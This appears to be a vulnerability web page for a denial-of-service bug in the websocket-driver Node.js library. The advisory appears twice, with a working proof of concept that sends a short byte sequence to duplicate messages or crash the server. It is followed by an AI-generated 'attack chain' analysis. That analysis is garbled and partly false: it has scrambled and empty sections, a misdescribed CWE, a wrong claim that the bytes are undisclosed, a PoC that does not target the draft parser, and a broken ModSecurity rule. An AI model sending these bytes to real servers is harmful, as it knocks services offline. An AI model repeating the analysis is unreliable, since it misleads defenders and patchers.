CVE-2026-140004 — Faye Websocket-driver-node (< 0.8.0) — CWE-248 · CWE-456
### Summary An unauthenticated remote client can trigger message corruption and denial of service by starting a draft75 or draft76 WebSocket connection and sending a brief sequence of bytes. The byte sequence is parsed incorrectly and can lead to duplicate messages or server crash. ### Details The `websocket-driver` library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the `draft75` and `draft76` versions. There is a bug in the parsing of messages in these versions that can lead to the server duplicating received messages or crashing when a client sends a specific sequence of bytes over a connection being handled by this parser. No special conditions are required and the input message that triggers this behaviour is very short, so an attacker can easily crash a remote server. To mitigate this, the parser bug has been fixed, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option `allowDrafts: true` when creating a driver instance. ### Proof of concept Given a server using `websocket-driver` to handle WebSocket connections: ```js const net = require('net') const ws = require('websocket-driver') let server = net.createServer((conn) => { let driver = ws.server() driver.on('connect', () => { if (ws.isWebSocket(driver)) driver.start() }) driver.on('close', () => conn.end()) conn.pipe(driver.io).pipe(conn) driver.on('message', (msg) => console.log(msg.data)) }) server.listen(8000) ``` A client can connect and send a set of headers that will pass as a draft75 handshake, followed by two message frames: ```js const net = require('net') let tcp = net.connect(8000, '127.0.0.1') tcp.on('connect', () => { tcp.write([ 'GET / HTTP/1.1', 'Host: 127.0.0.1:8000', 'Connection: upgrade', 'Upgrade: websocket', '', '' ].join('\r\n')) tcp.write(Buffer.from([0x00, 0x48, 0x69, 0xff])) tcp.write(Buffer.from([0x80, 0x01, 0xff])) }) ``` This client will cause the server to emit the message `Hi` twice when it was only sent once. If the first frame is omitted and the client sends only `80 01 ff`, then the server crashes. After upgrading to a patched version, both these situations are handled correctly if `allowDrafts: true` is set. If it is not set then the connection is rejected as a bad request. ### Impact Users running a server using `websocket-driver` to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.
### Summary An unauthenticated remote client can trigger message corruption and denial of service by starting a draft75 or draft76 WebSocket connection and sending a brief sequence of bytes. The byte sequence is parsed incorrectly and can lead to duplicate messages or server crash. ### Details The `websocket-driver` library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the `draft75` and `draft76` versions. There is a bug in the parsing of messages in these versions that can lead to the server duplicating received messages or crashing when a client sends a specific sequence of bytes over a connection being handled by this parser. No special conditions are required and the input message that triggers this behaviour is very short, so an attacker can easily crash a remote server. To mitigate this, the parser bug has been fixed, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option `allowDrafts: true` when creating a driver instance. ### Proof of concept Given a server using `websocket-driver` to handle WebSocket connections: ```js const net = require('net') const ws = require('websocket-driver') let server = net.createServer((conn) => { let driver = ws.server() driver.on('connect', () => { if (ws.isWebSocket(driver)) driver.start() }) driver.on('close', () => conn.end()) conn.pipe(driver.io).pipe(conn) driver.on('message', (msg) => console.log(msg.data)) }) server.listen(8000) ``` A client can connect and send a set of headers that will pass as a draft75 handshake, followed by two message frames: ```js const net = require('net') let tcp = net.connect(8000, '127.0.0.1') tcp.on('connect', () => { tcp.write([ 'GET / HTTP/1.1', 'Host: 127.0.0.1:8000', 'Connection: upgrade', 'Upgrade: websocket', '', '' ].join('\r\n')) tcp.write(Buffer.from([0x00, 0x48, 0x69, 0xff])) tcp.write(Buffer.from([0x80, 0x01, 0xff])) }) ``` This client will cause the server to emit the message `Hi` twice when it was only sent once. If the first frame is omitted and the client sends only `80 01 ff`, then the server crashes. After upgrading to a patched version, both these situations are handled correctly if `allowDrafts: true` is set. If it is not set then the connection is rejected as a bad request. ### Impact Users running a server using `websocket-driver` to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.
🎯 What is this vulnerability?
This vulnerability is a Denial of Service (DoS) and Message Integrity Violation in the websocket-driver Node.js library, specifically affecting versions prior to 0.8.0.
Technical Flaw Analysis:
The core issue lies in the draft75 and draft76 WebSocket message parsers. These parsers are responsible for handling legacy WebSocket handshake and frame structures. The vulnerability stems from a buffer handling error (CWE-456: Missing Synchronization / CWE-248: Uncaught Exception) when processing a specific, short, crafted byte sequence.
1. Input Validation Failure: The parser fails to correctly validate the length or structure of incoming frames against the expected protocol state.
2. State Machine Corruption: When a malformed frame is received, the internal state machine of the parser becomes inconsistent. This leads to one of two outcomes:
* Double Emission: The same message payload is emitted twice to the application layer. This violates the WebSocket protocol's guarantee of ordered, unique message delivery, potentially causing logic errors in the application (e.g., duplicate command execution, state desynchronization).
* Process Crash: The parser encounters an unhandled exception or memory access violation (depending on the Node.js version and V8 engine behavior) that crashes the entire Node.js process. Since websocket-driver is often used in server-side applications (e.g., via ws, socket.io, or custom servers), a crash terminates the service.
CVSS Vector Interpretation:
- AV:N/AC:L/PR:N/UI:N: The attack is network-based, low complexity, requires no authentication, and no user interaction. An attacker can simply connect to the WebSocket endpoint and send the malicious bytes.
- C:N/I:H/A:H:
- Fingerprinting: The attacker identifies that the target server supports WebSocket connections. This can be done by: * Checking for
- Version Enumeration: The attacker attempts to determine the version of
websocket-driver. This is difficult as it is a backend library. However, if the server exposes version information in headers, error messages, or if the application is a known framework (e.g., a specific version ofsocket.iothat bundleswebsocket-driver), the attacker can infer the version. Alternatively, the attacker can simply attempt the exploit; if the server crashes or behaves anomalously, the vulnerability is confirmed.
* Confidentiality (None): No direct data exfiltration is mentioned. The double-emission might leak internal state if the application logs or processes messages insecurely, but the primary vector is not data theft.
* Integrity (High): The double-emission of messages directly compromises the integrity of the application's state. If the application relies on message uniqueness (e.g., financial transactions, inventory updates), this can lead to unauthorized state changes.
* Availability (High): The process crash leads to a complete denial of service for all connected clients.
⚡ Attack Chain
1. Discovery & Reconnaissance
Upgrade: websocket headers in HTTP responses.
* Using tools like nmap with the http-headers script or w3af to detect WebSocket endpoints.
* Reviewing client-side JavaScript for new WebSocket('wss://target.com/ws') calls.
2. Exploitation
The attacker establishes a WebSocket connection to the vulnerable endpoint. The payload is a crafted byte sequence that triggers the parser bug in draft75/76 mode.Illustrative PoC (Node.js):
Note: The exact byte sequence is not publicly disclosed in the CVE description. The following is an illustrative example of how an attacker would structure the attack. The payload variable would contain the specific malformed bytes that trigger the bug.
const WebSocket = require('ws');
// Connect to the vulnerable WebSocket endpoint
const ws = new WebSocket('ws://target.com:8080/ws');
ws.on('open', () => {
console.log('[+] Connected to WebSocket');
// Illustrative malicious payload
// In a real scenario, this would be the specific byte sequence
// that causes the draft75/76 parser to mishandle the frame.
// For example, a frame with an invalid length field or
// a fragmented frame that confuses the state machine.
const maliciousPayload = Buffer.from([
0x81, // FIN bit set, opcode 1 (text)
0x00, // No mask, length 0 (but followed by unexpected data)
0x00, 0x00, 0x00, 0x00 // Padding or malformed continuation
]);
// Send the crafted byte sequence
ws.send(maliciousPayload);
console.log('[+] Sent malicious payload');
});
ws.on('message', (data) => {
console.log(`[+] Received message: ${data}`);
// If the bug causes double emission, this event might fire twice for the same logical message
});
ws.on('error', (error) => {
console.log(`[-] Error: ${error.message}`);
});
ws.on('close', (code, reason) => {
console.log(`[-] Connection closed: ${code} ${reason}`);
// If the server crashes, this will likely be a sudden close without a proper close frame
});Curl-based Initial Handshake (to establish the WebSocket connection):
curl -i -N \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
http://target.com:8080/wsAfter the handshake is established, the attacker would need to use a WebSocket client library (like the Node.js script above) to send the raw binary payload, as curl does not natively support sending WebSocket frames after the handshake.
3. Post-exploitation
🌍 Real World Impact
Practical Consequences:
🛡️ Remediation & Mitigation
1. Upgrade
websocket-driver < 0.8.0websocket-driver 0.8.0websocket-driver package to version 0.8.0 or later.npm install [email protected]Note: If websocket-driver is a transitive dependency (e.g., via ws or socket.io), you may need to use npm update or check the dependency tree to ensure the updated version is used.
2. Workarounds
3. Detection
GET /ws HTTP/1.1 followed by 101 Switching Protocols and then a sudden 500 Internal Server Error or connection reset.
pm2 or systemd to log and alert on process exits.ModSecurity Rule (Illustrative):
Note: ModSecurity is primarily an HTTP WAF and may not deeply inspect WebSocket frames after the handshake. This rule is illustrative and may not be effective against the specific binary payload.
SecRuleUpgrade:On
SecRuleEngine On
# Detect potential WebSocket DoS attempts by looking for rapid connection attempts
SecRule REQUEST_URI "@pm /ws" \
"id:100001,phase:1,log,auditlog,pass,msg:'Potential WebSocket DoS attempt',setvar:tx.ws_attempts=+1"
# Alert if more than 10 WebSocket connections are made from the same IP in 10 seconds
SecRule TX:WS_ATTEMPTS "@gt 10" \
"id:100002,phase:1,log,auditlog,drop,msg:'WebSocket DoS attack detected',setvar:tx.blocked=1"⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query